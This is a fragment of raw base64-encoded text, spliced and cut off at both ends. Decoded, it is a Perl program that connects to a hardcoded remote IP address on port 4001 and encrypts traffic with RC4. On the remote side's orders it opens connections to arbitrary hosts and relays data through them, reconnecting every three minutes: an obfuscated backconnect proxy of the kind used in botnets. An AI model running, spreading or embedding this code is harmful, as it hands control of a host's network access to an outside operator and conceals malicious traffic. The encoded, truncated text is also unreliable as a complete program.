wLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTcnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLC